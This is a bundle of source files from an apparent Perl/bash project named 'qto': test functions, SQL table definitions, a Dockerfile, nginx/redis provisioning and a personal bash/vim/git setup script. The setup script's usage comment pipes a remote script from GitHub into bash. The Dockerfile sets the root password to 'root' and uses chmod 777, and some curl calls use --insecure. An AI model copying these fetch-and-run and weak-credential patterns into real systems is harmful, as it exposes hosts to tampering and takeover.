doTestCloneToApp" } # eof func doTestCloneToApp # eof file: src/bash/qto/funcs/clone-to-app.test.sh <file_sep># src/bash/qto/funcs/print-help.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestPrintHelp comments ... # --------------------------------------------------------- doTestPrintHelp(){ do_log "DEBUG START doTestPrintHelp" cat doc/txt/qto/tests/print-help.test.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doTestPrintHelp" } # eof func doTestPrintHelp # eof file: src/bash/qto/funcs/print-help.test.sh <file_sep># src/bash/qto/funcs/xls-to-db.test.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/tests/xls-to-db.test.txt # --------------------------------------------------------- doTestXlsToDb(){ do_log "DEBUG START doTestXlsToDb" sleep "$sleep_interval" # Action !!! export load_model='upsert' export rdbms_type='postgres' src/bash/qto/qto.sh -a xls-to-db -t monthly_issues,daily_issues exit_code=$? sleep "$sleep_interval" test $exit_code -ne 0 && return # Action !!! export load_model='nested-set' src/bash/qto/qto.sh -a xls-to-db -t devops_guide_doc,userstories_doc exit_code=$? sleep "$sleep_interval" test $exit_code -ne 0 && return do_log "DEBUG STOP doTestXlsToDb" } # eof file: src/bash/qto/funcs/xls-to-db.test.sh <file_sep># do_chk_install_redis(){ which redis-cli || { sudo apt-get update sudo adduser --system --group --no-create-home redis sudo apt-get install -y redis-server sudo mkdir -p /var/lib/redis/ sudo chown -R redis:redis /var/lib/redis sudo chmod 770 /var/lib/redis sudo cp -v /etc/redis/redis.conf /etc/redis/redis.conf.orig # capture the first ip address into a var to add the the bind directive export my_ip=$(hostname -I|awk '{print $1}') # append the following lines to the /etc/redis/redis.conf file echo "bind $my_ip"| sudo tee -a /etc/redis/redis.conf echo 'supervised systemd' | sudo tee -a /etc/redis/redis.conf # comment out the bind directive, having it bound on 127.0.0.1 breaks Redis sudo perl -pi -e 's/bind 127.0.0.1 ::1/# bind 127.0.0.1 ::1/ig' /etc/redis/redis.conf while read -r file ; do IFS='' read -r -d '' perl_code <<"EOF_PERL_CODE" use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer; my $my_ip = $ENV{'my_ip'}; my $sjson; { local $/; open my $fh, "<", $ARGV[0]; $sjson = <$fh>; close $fh; } my $data = decode_json($sjson); #p $data ; $data->{'env'}->{'redis'}->{'server'} = $my_ip; my $json = JSON->new->allow_nonref; open my $fh, ">", $ARGV[0]; print $fh $json->pretty->encode($data); close $fh; EOF_PERL_CODE perl -e "$perl_code" $file done < <(find $PRODUCT_DIR/cnf/env/ -type f| grep -v '.bak') # restart to apply the changes sudo systemctl restart redis sudo systemctl restart redis.service # check that redis is running sudo ps -ef | grep -v grep | grep -i redis # should return PONG redis-cli ping } } <file_sep># how to add files to the git clear ; git log --pretty --format='%h %ae %<(15)%an ::: %s' alias git='GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.ysg" git' git add --all ; git commit -m "$git_msg" --author "<NAME> <<EMAIL>" # --amend GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.ysg" git push GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.ysg" git pull # OBS AMMEND AND git push FORCE !! git add --all ; git commit -am "$git_msg" --author "<NAME> <<EMAIL>>" \ --amend && git push --force <file_sep># src/bash/qto/funcs/run-container.func.sh # v0.6.7 doRunContainer(){ do_log "DEBUG START doRunContainer" test -z ${qto_project:-} && \ source "$PRODUCT_DIR/lib/bash/funcs/parse-cnf-env-vars.sh" && \ doParseCnfEnvVars $PRODUCT_DIR/cnf/$RUN_UNIT.$ENV.$host_name.cnf tgt_PRODUCT_DIR='/opt/csitea/'"$RUN_UNIT/$environment_name" chmod 777 $PRODUCT_DIR/src/bash/qto/install/docker/docker-entry-point.sh container_name='qto-container-'$(date "+%Y%m%d_%H%M%S") docker run -d --name $container_name \ -e PRODUCT_DIR=$tgt_PRODUCT_DIR \ -e host_host_name=$(hostname -s) \ -v $PRODUCT_DIR:$tgt_PRODUCT_DIR \ -p 127.0.0.1:${MOJO_MORBO_PORT:-}:$MOJO_MORBO_PORT \ 'qto-image':${product_version:-}.$ENV # -p 127.0.0.1:${postgres_rdbms_port:-}:$postgres_rdbms_port \ printf "\n" echo do check which containers are running echo docker container ls printf "\n\n" echo "to attach to the running container run:" echo "docker exec -it $container_name /bin/bash" printf "\n\n" echo do stop it run the following command echo docker container stop $container_name do_log "DEBUG STOP doRunContainer" } # eof file: src/bash/qto/funcs/run-container.func.sh <file_sep> do_chk_setup_bash(){ bash_opts_file=~/.bash_opts.$host_name cp -v $PRODUCT_DIR/cnf/bash/.profile_opts.host-name ~/.profile_opts.$host_name cp -v $PRODUCT_DIR/cnf/bash/.bash_opts.host-name $bash_opts_file set +e test $(grep -c "source $bash_opts_file" ~/.bashrc) -lt 1 && \ cat <<EOF | sudo tee -a ~/.bashrc > /dev/null source $bash_opts_file EOF } <file_sep># src/bash/qto/funcs/generate-md-docs.func.sh # # --------------------------------------------------------- # for docs: cat doc/txt/qto/funcs/generate-md-docs.func.txt # --------------------------------------------------------- doGenerateMdDocs(){ do_log "DEBUG START doGenerateMdDocs" test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z "${docs_root_dir-}" && docs_root_dir="$PROJ_INSTANCE_DIR" test -z ${PROJ_CONF_FILE-} && PROJ_CONF_FILE=$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json do_export_json_section_vars $PROJ_CONF_FILE '.env.app' # <<web-host>>:<<web-port>>/<<db>>/select/export_files?as=grid&od=id basic_url="$ht_protocol://${web_host:-}:${port:-}/${postgres_app_db:-}" furl="$basic_url"'/select/export_files?as=grid&od=id&pg-size=20' echo "running: curl --cookie ~/.qto/cookies.txt --insecure -s $furl \| jq -r '.dat[]|.url'" curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url' ret=$? test $ret != "0" && do_exit $ret "failed to get data from the $furl" while read -r url ; do file_name=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .name'); file_name="$file_name.md" rel_path=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .path'); rel_path="$rel_path/md" [ "${rel_path-}" == "null/md" ] && rel_path="" mkdir -p $docs_root_dir/$rel_path file_path=$(echo $docs_root_dir/$rel_path/$file_name|perl -ne 's|[/]{2,5}|/|g;print') url="$url"'?as=md&type=msft' echo -e "\nrunning: curl --cookie ~/.qto/cookies.txt --insecure -s -o \"$file_path\" \ \n \"$basic_url/export/$url\"" curl --cookie ~/.qto/cookies.txt --insecure -s "$basic_url/export/$url" -o "$file_path" lines=$(wc -l "$file_path"|awk '{print $1;}') [[ $lines -eq 0 ]] && do_exit 0 "load the $url !!! the table is empty !!!" echo -e "$lines lines in the $file_path file \n" done < <(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url') do_flush_screen do_log "DEBUG STOP doGenerateMdDocs" } # eof file: src/bash/qto/funcs/generate-md-docs.func.sh <file_sep># vim:set ft=dockerfile: FROM ubuntu:18.04 ARG PRODUCT_DIR ENV PRODUCT_DIR $PRODUCT_DIR ARG postgres_app_db ENV postgres_app_db $postgres_app_db ARG postgres_sys_usr_admin='usrqtoadmin' ENV postgres_sys_usr_admin_pw '<PASSWORD>' ARG host_host_name ENV host_host_name $host_host_name # obs !!! todo: parametrize qto-190616104728 RUN echo "root:root" | chpasswd RUN echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /root/.bashrc # install the most basic binaries ARG TZ ENV TZ $TZ RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone RUN apt-get update && apt-get install -y wget curl sudo perl zip unzip gnupg2 gnupg1 git bash jq vim WORKDIR /opt/ ADD . $PRODUCT_DIR WORKDIR $PRODUCT_DIR # ^^^ todo:ysg replace with the git clone RUN chmod 755 src/bash/qto/install/docker/install-admin-utils.sh && \ bash src/bash/qto/install/docker/install-admin-utils.sh RUN chmod 755 src/bash/qto/install/docker/provision-os-users.sh && \ bash src/bash/qto/install/docker/provision-os-users.sh RUN chmod 755 src/bash/qto/install/docker/install-postgres.sh && \ bash src/bash/qto/install/docker/install-postgres.sh # add VOLUMEs to allow backup of config, logs and databases # VOLUME ["/etc/postgresql", "/var/log/postgresql", "/var/lib/postgresql"] # set the default command to run when starting the container RUN chmod 755 src/bash/qto/install/docker/install-perl-modules.sh && \ bash src/bash/qto/install/docker/install-perl-modules.sh RUN chown -R usrqtoadmin:grpqtoadmin "/opt/csitea" && \ chmod 777 "/opt" && \ chmod 755 "$PRODUCT_DIR/src/bash/qto/bootstrap-qto-docker.sh" USER usrqtoadmin WORKDIR $PRODUCT_DIR RUN $PRODUCT_DIR/src/bash/qto/bootstrap-qto-docker.sh USER root RUN rm -vr /opt/csitea && chmod 755 "/opt" USER usrqtoadmin WORKDIR $PRODUCT_DIR # CMD ["bash","-c","while true; do sleep 1; done;"] CMD bash -c $PRODUCT_DIR/src/bash/qto/install/docker/docker-entry-point.sh <file_sep>-- DROP TABLE IF EXISTS logs ; SELECT 'create the "logs" table' ; CREATE TABLE logs ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id numeric (25) UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISSMSUS') as numeric(25)) , prio integer NOT NULL DEFAULT 5 , env varchar (50) NOT NULL DEFAULT 'dev' , app varchar (50) NOT NULL DEFAULT 'qto' , name varchar (200) NOT NULL DEFAULT 'name ...' , description varchar (400) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_logs_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.logs'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_logs BEFORE UPDATE ON logs FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'logs'::regclass; <file_sep>---- DROP TABLE IF EXISTS links ; SELECT 'create the "links" table' ; CREATE TABLE links ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'a-name...' , url varchar (200) NOT NULL DEFAULT 'a-url...' , description varchar (200) NOT NULL DEFAULT 'a-description...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_links_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_links_uniq_id on links (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.links'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_links BEFORE UPDATE ON links FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'links'::regclass; <file_sep>doChangeVersion(){ tgt_version="$1" ; shift 1; prefix='to-ver=' tgt_version=${tgt_version#$prefix} tgt_env_name=$(echo $environment_name | perl -ne "s/$product_version/$tgt_version/g;print") tgt_env_name=$(echo $tgt_env_name | perl -ne "s/$ENV/dev/g;print") # ALWAYS !!! tgt_PRODUCT_DIR=$product_dir/$tgt_env_name mkdir -p $tgt_PRODUCT_DIR test "$tgt_PRODUCT_DIR" == "$PRODUCT_DIR" && return rm -fvr $tgt_PRODUCT_DIR/* test $? -eq 0 || do_exit 2 "cannot write to $tgt_PRODUCT_DIR !" doCreateRelativePackage unzip -o $zip_file -d $tgt_PRODUCT_DIR ; cp -v $zip_file $tgt_PRODUCT_DIR # change the current version str to tgt-version in the configuration dir export to_srch=$product_version export to_repl=$tgt_version export dir_to_morph=$tgt_PRODUCT_DIR/cnf doMorphDir # :fin morph-dir.func.sh # ensure that all the files in the target product version dir are indentical to the current ones while read -r file ; do ( do_log "DEBUG comparing src file: $file" do_log "DEBUG to tgt file: $tgt_PRODUCT_DIR/$file" test -f "$PRODUCT_DIR/$file" \ && diff "$PRODUCT_DIR/$file" "$tgt_PRODUCT_DIR/$file" [[ $? != 0 ]] && exit $? ); done < <(cat $include_file) cd $tgt_PRODUCT_DIR # to create default links ln -sf `pwd`/src/bash/qto/qto.sh qto ; sudo chmod 754 `pwd`/src/bash/qto/qto.sh ln -sf `pwd`/src/perl/qto/script/qto.pl qto.pl ; sudo chmod 754 `pwd`/src/perl/qto/script/qto.pl cd - } <file_sep>do_chk_provision_nginx(){ set +e # chk: devops_guide_doc-200325051051 #sudo mkdir /etc/systemd/system/nginx.service.d cat << EOF | sudo tee /etc/systemd/system/nginx.service.d/override.conf [Service] ExecStartPost=/bin/sleep 0.1 EOF sudo mkdir -p /etc/nginx/sites-available sudo mkdir -p /etc/nginx/sites-enabled sudo test -f /etc/nginx/sites-available/* && { sudo rm -v /etc/nginx/sites-available/* } sudo test -f /etc/nginx/sites-enabled/* && { sudo rm -v /etc/nginx/sites-enabled/* } # qto-200326084258 create the cache dir NOT in the global dir, related to site crashes mkdir -p ~/var/cache ; chmod -R 777 ~/var/cache perl -pi -e 's|~/|'$HOME/'|g' $PRODUCT_DIR/cnf/nginx/etc/nginx/nginx.conf #qto-200402172803 sudo cp -v $PRODUCT_DIR/cnf/nginx/etc/nginx/nginx.conf /etc/nginx/nginx.conf source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh for env in `echo dev tst prd`; do \ do_export_json_section_vars $PRODUCT_DIR/cnf/env/$env.env.json '.env.app' sudo cp -v $PRODUCT_DIR/cnf/nginx/etc/nginx/sites-available/%env%.http-site.conf \ /etc/nginx/sites-available/$env.http-site.conf sudo perl -pi -e 's|\%nginx_port\%|'"$nginx_port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%https_port\%|'"$https_port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%mojo_hypnotoad_port\%|'"$mojo_hypnotoad_port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%web_host\%|'"$web_host"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo perl -pi -e 's|\%port\%|'"$port"'|g' "/etc/nginx/sites-available/$env.http-site.conf" sudo ln -fs /etc/nginx/sites-available/$env.http-site.conf /etc/nginx/sites-enabled/$env.http-site.conf sudo ls -la /etc/nginx/sites-enabled/$env.http-site.conf done ; sudo chown -R www-data:www-data /etc/nginx # !!! monthly_issues_202003-200326084258 sudo systemctl daemon-reload sudo systemctl try-restart nginx sudo systemctl enable nginx sudo systemctl status nginx source $PRODUCT_DIR/.env do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' } <file_sep># src/bash/qto/funcs/print-usage.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpPrintUsage comments ... # --------------------------------------------------------- doHelpPrintUsage(){ do_log "DEBUG START doHelpPrintUsage" cat doc/txt/qto/helps/print-usage.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpPrintUsage" } # eof func doHelpPrintUsage # eof file: src/bash/qto/funcs/print-usage.help.sh <file_sep># src/bash/qto/funcs/mojo-morbo-stop.test.sh # v0.6.7 # --------------------------------------------------------- # test the stoping of the mojo morbo server # --------------------------------------------------------- doTestMojoMorboStop(){ sleep "$sleep_interval" # Action !!! bash src/bash/qto/qto.sh -a mojo-morbo-stop do_log "check with netstat " # sudo visudoers # usrqtoadmin ALL=(ALL) NOPASSWD: /bin/netstat -tulpn sudo netstat -tulpn | grep qto } # eof file: src/bash/qto/funcs/mojo-morbo-stop.test.sh <file_sep>#!/usr/bin/env bash # purpose: a SLIGHTLY opinionated bash,tmux,vim and git setup # usage: # curl https://raw.githubusercontent.com/YordanGeorgiev/qto/master/src/bash/qto/scripts/pre-push/setup-bash-n-vim.sh | bash -s <EMAIL> ysg main(){ do_enable_locate do_set_vars do_chk_provision_tmux do_chk_provision_vim do_chk_provision_git do_chk_provision_ssh_keys do_fake_history do_chk_provision_bash do_echo_copy_pasteables } do_enable_locate(){ sudo updatedb & # because of the locate elflord.vim below and just to speed up.. } do_set_vars(){ email=${1:-<EMAIL>} my_initials=${1:-ysg} host_name=`hostname -s` } do_chk_provision_tmux(){ echo 'start ::: provisioning tmux' which tmux 2>/dev/null || { sudo apt-get update sudo apt-get install -y tmux } mkdir -p ~/.tmux/plugins git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tmux-copycat echo verify the tmux plugins find ~/.tmux/plugins -type d -maxdepth 2 test -f ~/.tmux.conf && cp -v ~/.tmux.conf ~/.tmux.conf.$(date "+%Y%m%d_%H%M%S") wget -O ~/.tmux.conf \ https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/.tmux.conf.host-name echo 'stop ::: provisioning tmux' } do_chk_provision_vim(){ echo 'start ::: provisioning vim' which vim 2>/dev/null || { sudo apt-get update sudo apt-get install -y vim } which wget 2>/dev/null || { sudo apt-get update sudo apt-get install -y wget } test -f ~/.vimrc && cp -v ~/.vimrc ~/.vimrc.$(date "+%Y%m%d_%H%M%S") wget -O ~/.vimrc 'https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/.vimrc.host-name' # set the ngix syntax highlighting mkdir -p ~/.vim/syntax/ cd ~/.vim/syntax/ wget http://www.vim.org/scripts/download_script.php?src_id=19394 mv download_script.php\?src_id\=19394 nginx.vim cat > ~/.vim/filetype.vim <<EOF_NGINX au BufRead,BufNewFile /etc/nginx/*,/usr/local/nginx/conf/* if &ft == '' | setfiletype nginx | endif EOF_NGINX # add the perl.vim mkdir -p ~/.vim/ftplugin wget -O ~/.vim/ftplugin/perl.vim \ 'https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/.vim/ftplugin/perl.vim' # add the smartcom mkdir -p ~/.vim/plugin wget -O ~/.vim/plugin/smartcom.vim \ 'https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/.vim/plugin/smartcom.vim' sudo cp -rv ~/.vim/ /root/ cd - # set the grey color on the nums on the left ... sudo perl -pi -e \ '$_="$_\nhi LineNr term=bold cterm=NONE ctermfg=DarkGrey ctermbg=NONE gui=NONE guifg=DarkGrey guibg=NONE" if $. == 27' $(locate elflord.vim) & echo 'stop ::: provisioning vim' } do_chk_provision_git(){ echo 'start ::: provisioning git' test -f ~/.gitconfig && cp -v ~/.gitconfig ~/.gitconfig.$(date "+%Y%m%d_%H%M%S") cat << EOF_GIT >> ~/.gitconfig [credential] helper = cache [core] editor = vim pager = less -r autocrlf = false [user] name = <NAME> email = $email [push] default = simple followTags = true [color] diff = auto status = auto branch = auto interactive = auto ui = true pager = true [color "status"] added = green changed = red bold untracked = magenta bold [color "branch"] remote = yellow [fetch] prune = true EOF_GIT echo 'stop ::: provisioning git' } do_chk_provision_ssh_keys(){ which expect || sudo apt-get update && sudo apt-get install -y expect # if the ssh key does not exist create it ... test -f ~/.ssh/id_rsa.ysg.pub.`hostname -s` || { expect <<- EOF_EXPECT set timeout -1 spawn ssh-keygen -t rsa -b 4096 -C $email -f $HOME/.ssh/id_rsa.ysg.$host_name expect "Enter passphrase (empty for no passphrase): " send -- "\r" expect "Enter same passphrase again: " send -- "\r" expect eof EOF_EXPECT } } do_chk_provision_bash(){ echo 'start ::: fetching bash_opts' wget -O ~/.bash_opts.`hostname -s` \ 'https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/.bash_opts.host-name' echo 'stop ::: fetching bash_opts' } do_fake_history(){ cat << 'EOF_HIS' >> ~/.bash_history ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.ysg.`hostname -s` clear ; git log --pretty --format='%h %<(15)%ae %<(15)%an ::: %s' alias git='GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.ysg.`hostname -s`" git' git add --all ; git commit -m "$git_msg" --author "<NAME> <<EMAIL>"; git push git reset --hard origin/$(git rev-parse --abbrev-ref HEAD) curr_branch=$(git rev-parse --abbrev-ref HEAD); git branch "$curr_branch"--$(date "+%Y%m%d_%H%M"); git branch -a | grep $curr_branch | sort -nr | less EOF_HIS } do_echo_copy_pasteables(){ cat ~/.ssh/id_rsa.ysg.$host_name.pub echo EOF ~/.ssh/id_rsa.ysg.$host_name.pub echo -e '\n\n' echo "source ~/.bash_opts.$host_name" echo -e '\n\n' } main # and .... Action !!! # here is your parameter expansions cheat ;o) # +--------------------+----------------------+-----------------+-----------------+ # | | parameter | parameter | parameter | # | | Set and Not Null | Set But Null | Unset | # +--------------------+----------------------+-----------------+-----------------+ # | ${parameter:-word} | substitute parameter | substitute word | substitute word | # | ${parameter-word} | substitute parameter | substitute null | substitute word | # | ${parameter:=word} | substitute parameter | assign word | assign word | # | ${parameter=word} | substitute parameter | substitute null | assign word | # | ${parameter:?word} | substitute parameter | error, exit | error, exit | # | ${parameter?word} | substitute parameter | substitute null | error, exit | # | ${parameter:+word} | substitute word | substitute null | substitute null | # | ${parameter+word} | substitute word | substitute word | substitute null | # +--------------------+----------------------+-----------------+-----------------+ <file_sep>define stop-img-containers @clear -@docker container stop $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null -@docker container rm $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null endef<file_sep># src/bash/qto/funcs/run-benchmarks.func.sh # v0.6.8 # --------------------------------------------------------- # implement the calls to all the functional tests # --------------------------------------------------------- doRunBenchmarks(){ export QTO_NO_AUTH=1 test -z ${qto_project:-} && \ source "$PRODUCT_DIR/lib/bash/funcs/parse-cnf-env-vars.sh" && \ doParseCnfEnvVars "$PRODUCT_DIR/cnf/$RUN_UNIT.$ENV.*.cnf" do_log "INFO START testing controllers" while read -r f ; do do_log "INFO START functional test for $f" perl $f ; do_log "INFO STOP functional test for $f" do_flush_screen done < <(find src/perl/qto/t/lib/Qto/App/benchmarks -type f -name '*.pl'|sort) export QTO_NO_AUTH=0 } <file_sep># src/bash/qto/funcs/gmail-package.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestGmailPackage comments ... # --------------------------------------------------------- doTestGmailPackage(){ do_log "DEBUG START doTestGmailPackage" cat doc/txt/qto/tests/pckg/gmail-package.test.txt sleep "$sleep_interval" bash src/bash/qto/qto.sh -a create-full-package -a gmail-package sleep "$sleep_interval" source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh do_flush_screen do_log "DEBUG STOP doTestGmailPackage" } # eof func doTestGmailPackage # eof file: src/bash/qto/funcs/gmail-package.test.sh <file_sep>---- DROP TABLE IF EXISTS imgs CASCADE; SELECT 'create the "imgs" table' ; CREATE TABLE imgs ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (200) NOT NULL DEFAULT 'image figure title ...' , relative_path varchar (1000) NOT NULL DEFAULT 'src/perl/qto/public/dat/img/qto/...' , http_path varchar (4000) NOT NULL DEFAULT 'https://raw.githubusercontent.com/YordanGeorgiev/qto/dev/doc/img/..' , style varchar (100) NOT NULL DEFAULT 'width: 800px; height: 600x' , item_guid UUID NOT NULL DEFAULT gen_random_uuid() , description varchar (4000) NOT NULL DEFAULT 'txt to appear on alt ...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_imgs_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_imgs_id on imgs (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.imgs'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_imgs BEFORE UPDATE ON imgs FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'imgs'::regclass; <file_sep># file: src/bash/qto/funcs/increase-date.func.sh # today is --date="+1 day" # tommorrow is --date="+1 day" # # --------------------------------------------------------- # cat doc/txt/qto/funcs/increase-date.func.txt # --------------------------------------------------------- do_increase_date(){ test -z "${PROJ_INSTANCE_DIR:-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' mix_data_dir=$PROJ_INSTANCE_DIR/dat/mix # find the latest project_daily_txt_dir latest_proj_daily_dir="" latest_proj_daily_dir=$(find $mix_data_dir -type d -maxdepth 3|grep -v txt|grep -v json|grep -v xls|sort -nr|head -1) echo "using the following latest_proj_daily_dir: $latest_proj_daily_dir" sleep 1 # debug set -x if [[ ${tgt_date+x} && -n $tgt_date ]] ; then case "$tgt_date" in today) export tgt_date=$(date --date="+0 day" "+%Y-%m-%d") ;; tomorrow) export tgt_date=$(date --date="+1 day" "+%Y-%m-%d") ;; yesterday) export tgt_date=$(date --date="-1 day" "+%Y-%m-%d") ;; *) # check that the date is the %Y-%m-%d format doRunCmdOrExit 'date +%Y-%m-%d -d '"$tgt_date" esac else export tgt_date=$(date --date="+0 day" "+%Y-%m-%d") fi msg="using the following date: \"$tgt_date\"" do_log "INFO $msg" # define the today's daily_data_dir tgt_days_monthly_data_dir="$mix_data_dir"/$(date "+%Y" -d "$tgt_date") tgt_days_monthly_data_dir="$tgt_days_monthly_data_dir"/$(date "+%Y-%m" -d "$tgt_date") mkdir -p $tgt_days_monthly_data_dir export daily_data_dir="$tgt_days_monthly_data_dir"'/'$(date "+%Y-%m-%d" -d "$tgt_date") error_msg=" nothing can be done - as the daily data dir \$daily_data_dir : $daily_data_dir already exists !!! " test -d "$daily_data_dir" && do_exit 1 "$error_msg" todays_tmp_dir=$tmp_dir/$(date "+%Y-%m-%d" -d "$tgt_date") # becauses of vboxsf !!! cmd="cp -vr $latest_proj_daily_dir $todays_tmp_dir/" doRunCmdOrExit "$cmd" ; cd $todays_tmp_dir # foreach sh or txt file while read -r f ; do export last_day=$(echo $f|cut -d'.' -f 4); table=$(echo $f|cut -d'.' -f 3); proj=$(echo $f|cut -d'.' -f 2); #debug do_log "DEBUG table: $table" file_ext=$(echo $f|cut -d'.' -f 5); # debug do_log "DEBUG file_ext: $file_ext" mv "$f" '.'"$proj"."$table".`date "+%Y-%m-%d" -d "$tgt_date"`."$file_ext" # obs works only on gnu find ! done < <(find . -type f -regex ".*\.\(sh\|txt\)") # search and replace the daily today=$(date +%Y-%m-%d) while read -r f ; do perl -pi -e 's/\@'"$last_day"'/\@'"$today"'/g;' "$f" ; done < <(find . -type f -name '*.txt' -o -name '*.sh') rm -f *.bak # remove any possible bak files mv $todays_tmp_dir $daily_data_dir rm -rfvd $daily_data_dir/tmp export daily_data_dir=$mix_data_dir/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d") # remove all the tmp xls files rm -v "$daily_data_dir/xls/"'/~'*.xlsx # foreach xls file while read -r f ; do file_name="${f##*/}" proj=$(echo $file_name|cut -d'.' -f 1); table=$(echo $file_name|cut -d'.' -f 2); timestamp=$(echo $file_name|cut -d'.' -f 3); # file_name="${f%.*}" # file_name=$(basename -- "$f") file_ext="${f##*.}" mkdir -p "$daily_data_dir/xls" do_log "DEBUG" "mv $f" -> "$daily_data_dir/$proj"."$table".$(date "+%Y%m%d_%H%M%S" -d "$tgt_date")."$file_ext" # and I just don't know where this one comes from, but it is fake !!! rm -v "$daily_data_dir/$proj"."$table".$(date "+%Y%m%d_%H%M%S" -d "$tgt_date")."$file_ext" mv "$f" "$daily_data_dir/xls/$proj"."$table".$(date "+%Y%m%d_%H%M%S" -d "$tgt_date")."$file_ext" done < <(find $daily_data_dir/xls -type f \( -name "*.xlsx" -o -name "*.xls" \)) doBackupPostgresDb msg=" OK for creating the daily project dir: $daily_data_dir" do_log "INFO ""$msg" do_log "DEBUG STOP doIncreaseDate" } # eof file: src/bash/qto/funcs/increase-date.func.sh <file_sep>#!/usr/bin/env bash main(){ do_run_test_01 "test-01 the usage is print if no \$1 and \$2 are passed" do_run_test_02 "test-02 the usage is print if no \$2 are passed" do_run_test_03 "test-03 a normal run when both \$1 and \$2 are passed" } do_run_test_01(){ echo $1 ; shift to_tst='psql-code-generator - a script for generating code' out=`echo $(bash src/tpl/psql-code-generator/psql-code-generator.sh)|grep -c "$to_tst"` test $out -eq 1 && echo test-01 ok test $out -eq 0 && echo test-01 failed echo -e "\n\n" sleep 1 do_flush_screen } do_run_test_02(){ echo $1 ; shift to_tst='psql-code-generator - a script for generating code' out=`echo $(bash src/tpl/psql-code-generator/psql-code-generator.sh dev_qto)|grep -c "$to_tst"` test $out -eq 1 && echo test-02 ok test $out -eq 0 && echo test-02 failed echo -e "\n\n" sleep 1 do_flush_screen } do_run_test_03(){ echo $1 ; shift bash src/tpl/psql-code-generator/psql-code-generator.sh dev_qto release_issues monthly_issues sleep 1 # do_flush_screen } main <file_sep>#!/usr/bin/env bash # v1.1.4 #------------------------------------------------------------------------------ # creates a package from the relative file paths specified in the .dev file #------------------------------------------------------------------------------ doTestCreateRelativePackage(){ do_log " START : create-relative-package.test" doSpecCreateRelativePackage doHelpCreateRelativePackage #set -x # test the call with the include file of the current env - usually dev exit_code=0 bash src/bash/qto/qto.sh -a create-relative-package export 